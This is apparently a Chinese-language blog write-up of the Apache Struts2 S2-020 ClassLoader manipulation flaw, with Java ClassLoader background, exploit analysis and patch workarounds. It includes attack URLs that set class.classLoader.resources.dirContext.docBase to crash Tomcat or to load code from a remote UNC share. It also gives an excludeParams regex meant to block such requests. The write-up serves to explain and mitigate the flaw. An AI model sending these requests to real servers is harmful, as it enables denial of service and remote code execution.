catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

0x1: 相关基础知识

Object是java的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以

getClass().getClassLoader()
//拿到当前的ClassLoader

在JRE启动中,每个Class都会有自己的ClassLoader。web容器为了方便的管理启动过程,通常都有实现自定义的ClassLoader,事实上每个容器的ClassLoader都是自己实现的,环境必然会有所不同

0x2: 漏洞根源

Apache Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()方法),从而导致了攻击者可以控制ClassLoader,并修改ClassLoader中的属性,而根据修改ClassLoader属性的不同,可以衍生出不同的攻击向量

0x3: ClassLoader

一个Java程序之后,不是管是CS还是BS应用,都是由若干个.class文件组织而成的一个完整的Java应用程序,当程序在运行时,即会调用该程序的一个入口函数来调用系统的相关功能,而这些功能都被封装在不同的class文件当中,所以经常要从这个class文件中要调用另外一个class文件中的方法,如果另外一个文件不存在的,则会引发系统异常。而程序在启动的时候,并不会一次性加载程序所要用的所有class文件,而是根据程序的需要,通过Java的类加载机制(ClassLoader)来动态加载某个class文件到内存当中的,从而只有class文件被载入到了内存之后,才能被其它class所引用。所以ClassLoader就是用来动态加载class文件到内存当中用的

0x4: Java默认提供的三个ClassLoader

. BootStrap ClassLoader: 启动类加载器
是Java类加载层次中最顶层的类加载器,负责加载JDK中的核心类库,如:rt.jar、resources.jar、charsets.jar等,可通过如下程序获得该类加载器从哪些地方加载了相关的jar或class文件/*
URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs();
for (int i = 0; i < urls.length; i++)
{
System.out.println(urls[i].toExternalForm());
}
*/
上述结果也是通过查找sun.boot.class.path这个系统属性所得知的
/*
System.out.println(System.getProperty("sun.boot.class.path"));
*/ . Extension ClassLoader: 扩展类加载器
负责加载Java的扩展类库,默认加载JAVA_HOME/jre/lib/ext/目下的所有jar . App ClassLoader: 系统类加载器
负责加载应用程序classpath目录下的所有jar和class文件

除了Java默认提供的三个ClassLoader之外,用户还可以根据需要定义自已的ClassLoader,而这些自定义的ClassLoader都必须继承自java.lang.ClassLoader类,也包括Java提供的另外二个ClassLoader(Extension ClassLoader和App ClassLoader)在内,但是Bootstrap ClassLoader不继承自ClassLoader,因为它不是一个普通的Java类,底层由C++编写,已嵌入到了JVM内核当中,当JVM启动后,Bootstrap ClassLoader也随着启动,负责加载完核心类库后,并构造Extension ClassLoader和App ClassLoader类加载器

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://www.inbreak.net/archives/526
http://blog.csdn.net/xyang81/article/details/7292380

2. Effected Scope

Struts 2.0. - Struts 2.3.

3. Exploit Analysis

0x1: 利用class.classLoader.resources.dirContext.docBase赋值造成的DoS

. docBase这个参数是Tomcat进行应用目录映射路径配置的
. 如果赋值的地址不存在会导致Tomcat整体解析失败
. 通过修改污染ClassLoader,可以在当前应用进程(tomcat java进程)生命周期期间,持续使对docBase属性的修改生效,从而达到DOS目的

通过OGNLN解析,给当前应用目录赋个不存在的地址

http://localhost:8080/S2-XX/index.jsp
http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路径

0x2: 远程代码执行

还是这个参数,既然可以指向任意地址,如果指向的地址映射目录,是攻击者可控的目录,那就是远程代码执行了,类似于PHP CMS漏洞中常见的本地变量覆盖导致global config劫持,将用户的网站的配置参数劫持到黑客控制的数据库中,从而绕过登录验证逻辑
docBase参数有三种地址路径部署方式

. 相对路径:以Tomcat的webapps目录根更目录
. 绝对路径:如: c://web/部署的应用目录
. UNC path(如,远程共享一个标准的J2EE应用目录)

这里的UNC方式,和PHP CMS中的allow_url_include、allow_url_fopen本质是一样的

http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test 

Relevant Link:

http://wiki.apache.org/tomcat/FAQ/Windows#Q6
http://drops.wooyun.org/papers/1377

4. Principle Of Vulnerability
5. Patch Fix

0x1: upgrade struts2

If you cannot upgrade to version 2.3.16.1 which is strongly advised,
In Struts 2.3.16.1, Commons FileUpload was updated to version 1.3. and "class" was added to excludeParams in struts-default.xml configuration of ParametersInterceptor.

0x2: Workaround: Upgrade commons-fileupload

The fixed commons-fileupload library is a drop-in replacement for the vulnerable version. Deployed applications can be hardened by replacing the commons-fileupload jar file in WEB-INF/lib with the updated jar. For Maven
based Struts 2 projects, the following dependency needs to be added:
单独替换commons-fileupload并重启struts2应用实现修复

<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.</version>
</dependency>

0x3: Workaround: Exclude 'class' parameter

Simple add '^class\.*' to the list of excludeParams as below
struts2的漏洞基本和OGNL、Actoin的参数解析过程有关,因此在struts.xml中配置参数拦截器,可以有效拦截攻击

<interceptor-ref name="params">
<param name="excludeParams">^class\..*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
</interceptor-ref>

Relevant Link:

http://struts.apache.org/docs/s2-020.html?spm=5176.775974950.2.9.ie55ik

Copyright (c) 2015 Little5ann All rights reserved

struts2 CVE-2014-0050(DoS), CVE-2014-0094(ClassLoader manipulation) S2-20 DoS attacks and ClassLoader manipulation的更多相关文章

  1. 免费获取一年 AVG Internet Security 2014 和 Antivirus Pro 2014

    华为版的 AVG 2014 系列出炉了,用过华为版 2013 系列的童鞋都知道是什么回事,内置一年多的序列号不用那么麻烦去找了. 下载地址: 内置的许可证是:IBY9X-ESYXT-W4BZQ-QI4 ...

  2. HGE引擎改进——2014/2/18 和 2014/2/27

    2014/2/18 更新 hgehelper库:增加hgeSkeleton类,该类用于播放骨骼动画 增加工具骨骼动画编辑器(AnimationEd),该工具用于骨骼动画的编辑 2014/2/27 更新 ...

  3. ECCV 2014 Results (16 Jun, 2014) 结果已出

    Accepted Papers     Title Primary Subject Area ID 3D computer vision 93 UPnP: An optimal O(n) soluti ...

  4. Dos.ORM logo.Net轻量级开源ORM框架 Dos.ORM

    http://www.oschina.net/p/dos-orm http://www.oschina.net/project/lang/194/csharp http://www.cnblogs.c ...

  5. SQL SERVER 2014 下IF EXITS 居然引起执行计划变更的案例分享

    这个问题是在SQL SERVER 2005 升级到SQL SERVER 2014的测试过程中一同事发现的.我觉得有点意思,遂稍微修改一下脚本展示出来,本来想构造这样的一个案例来演示,但是畏惧麻烦,遂直 ...

  6. SQL SERVER 2014 安装图解(含 SQL SERVER 2014 安装程序共享)

    开篇介绍 2015年1月1日,新的一年开始之际,本来应该好好做点有意义的事情来跨个年的.结果,老习惯 - 睡觉之前一定要折腾一下电脑,说干就干,给新到的 DELL 电脑装虚机,下载 SQL SERVE ...

  7. Delphi 和 C++Builder 2014年及以后技术路线图

    RAD Studio, Delphi 和 C++Builder 2014年及以后技术路线图 By: Embarcadero News 内容源自Embarcadero新闻组,本人水平有限,欢迎各位高人修 ...

  8. Autodesk 2014全套密钥

    AUTODESK 2014通用安装序列号: 666-69696969 667-98989898 400-45454545 066-66666666 AUTODESK 2014全系列产品密钥 001F1 ...

  9. 2014年的Google I/O app设计中的材料设计-渣渣的翻译

    又是一篇翻译,用了三个多小时.http://android-developers.blogspot.co.id/2014/08/material-design-in-2014-google-io-ap ...

随机推荐

  1. document.elementFromPoint在IE8下无法稳定获取当前坐标元素的解决方法

    document.elementFromPoint(e.clientX, e.clientY) document.elementFromPoint(e.clientX, e.clientY) 执行2次 ...

  2. JS明确指定函数的接受者

    由于方法和值为对象的属性值没什么区别,因此很容易提取对象的方法作为回调函数直接传递给高阶函数.但这也很容易忘记应明确指定方法的接受者.例如,一个字符串缓冲对象使用数组来存储字符串. var buffe ...

  3. Oracle中使用Entity Framework 6.x Code-First方式开发

    去年写过一篇EF的简单学习笔记,当时EF还不支持Oracle的Code-First开发模式,今天无意又看了下Oracle官网,发现EF6.X已经支持了,并且给出了二篇教程(英文版): 1.Using ...

  4. Windbg调优Kafka.Client内存泄露

    从来没写过Blog,想想也是,工作十多年了,搞过N多的架构.技术,不与大家分享实在是可惜了.另外,从传统地ERP行业转到互联网,也遇到了很所前所未有的问题,原来知道有一些坑,但是不知道坑太多太深.借着 ...

  5. docker 镜像导入导出

    导出(Export) Export命令用于持久化容器(不是镜像).所以,我们就需要通过以下方法得到容器ID: sudo docker ps -a 接着执行导出: sudo docker export ...

  6. 拥抱HTML5 — Page Visibility(页面可见性) API介绍

    H5 提供了很多简单实用的 API,Page Visibility API 就是其中之一. 不知道用户是不是在与页面交互,这是困扰广大 Web 开发人员的一个主要问题.如果 页面最小化了 或者 隐藏在 ...

  7. ASP.NET MVC 中应用Windows服务以及Webservice服务开发分布式定时器

    ASP.NET MVC 中应用Windows服务以及Webservice服务开发分布式定时器一:闲谈一下:1.现在任务跟踪管理系统已经开发快要结束了,抽一点时间来写一下,想一想自己就有成就感啊!!  ...

  8. MATLAB调用C程序、调试和LDPC译码

    MATLAB是一个很好用的工具.利用MATLAB脚本进行科学计算也特别方便快捷.但是代码存在较多循环时,MATLAB运行速度极慢.如果不想放弃MATLAB中大量方便使用的库,又希望代码能迅速快捷的运行 ...

  9. 强迫症的福利——我的第一个VS插件,对using排序!

    首先来看看VS自带的using整理功能: 长短不一,看着让人生厌!这是哪个门子的整理?越来越乱了好吗! 难道就没有一款,由短到长——金字塔搬的排序方案吗? 于是各种百度: “VS 插件 using排序 ...

  10. denounce函数:Javascript中如何应对高频触发事件

    在DOM Event的世界中,以scroll.resize.mouseover等为代表的高频触发事件显得有些与众不同.通常,DOM事件只有在明确的时间点才会被触发,比如被点击,比如XMLHttpReq ...